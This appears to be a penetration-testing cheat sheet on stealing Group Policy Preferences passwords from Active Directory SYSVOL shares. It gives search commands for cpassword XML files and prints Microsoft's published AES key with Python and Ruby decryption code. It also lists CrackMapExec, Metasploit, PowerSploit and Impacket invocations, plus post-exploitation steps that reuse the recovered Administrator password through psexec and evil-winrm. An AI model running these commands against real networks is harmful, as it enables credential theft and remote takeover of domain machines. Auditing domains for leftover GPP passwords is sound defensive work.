Skip to main content

Overview

Group Policy Preferences (GPP) allowed admins to set local passwords via Group Policy. The password was encrypted with a known AES key published by Microsoft. Any domain user can read SYSVOL and decrypt these. Microsoft patched this in MS14-025, but old policies may still exist.

Where to Find GPP Files

SYSVOL share (readable by all domain users):
\\DOMAIN_CONTROLLER\SYSVOL\domain.local\Policies\

Files Containing cpassword

Groups.xml          — Local user/group changes
Services.xml        — Service account passwords
Scheduledtasks.xml  — Scheduled task credentials
DataSources.xml     — Database connection strings
Printers.xml        — Printer credentials
Drives.xml          — Mapped drive credentials

Find GPP XML Files

findstr /S /I "cpassword" \\DOMAIN_CONTROLLER\SYSVOL\domain.local\Policies\*.xml
Get-ChildItem -Path "\\DC01\SYSVOL" -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml -ErrorAction SilentlyContinue | Select-String "cpassword"

Example Groups.xml

<Groups>
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-01" uid="{...}">
    <Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="Administrator"/>
  </User>
</Groups>

Decrypt cpassword

gpp-decrypt (Kali)

gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

Python

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = bytes.fromhex("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
iv = b'\x00' * 16
cpassword = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

pad = len(cpassword) % 4
if pad: cpassword += "=" * (4 - pad)

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(base64.b64decode(cpassword)), AES.block_size)
print(plaintext.decode('utf-16-le'))

Ruby

ruby -e 'require "openssl"; require "base64"; puts OpenSSL::Cipher.new("AES-256-CBC").tap{|c| c.decrypt; c.key=["4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"].pack("H*"); c.iv="\x00"*16}.update(Base64.decode64("CPASSWORD_HERE"))'

Automated Tools

CrackMapExec

crackmapexec smb DC_IP -u user -p password -M gpp_password

Metasploit

use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS DC_IP
set SMBUser user
set SMBPass password
run

Get-GPPPassword (PowerSploit)

Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword

Impacket

impacket-Get-GPPPassword domain.local/user:password@DC_IP

Post-Exploitation

Found credentials → test them:
crackmapexec smb TARGET -u Administrator -p 'DecryptedPassword'
impacket-psexec domain.local/Administrator:'DecryptedPassword'@TARGET
evil-winrm -i TARGET -u Administrator -p 'DecryptedPassword'

Quick Reference

ToolWhere
gpp-decryptKali (built-in)
CrackMapExec gpp_passwordAttacker
Get-GPPPasswordTarget (PowerShell)
impacket-Get-GPPPasswordAttacker
Manual findstrTarget (CMD)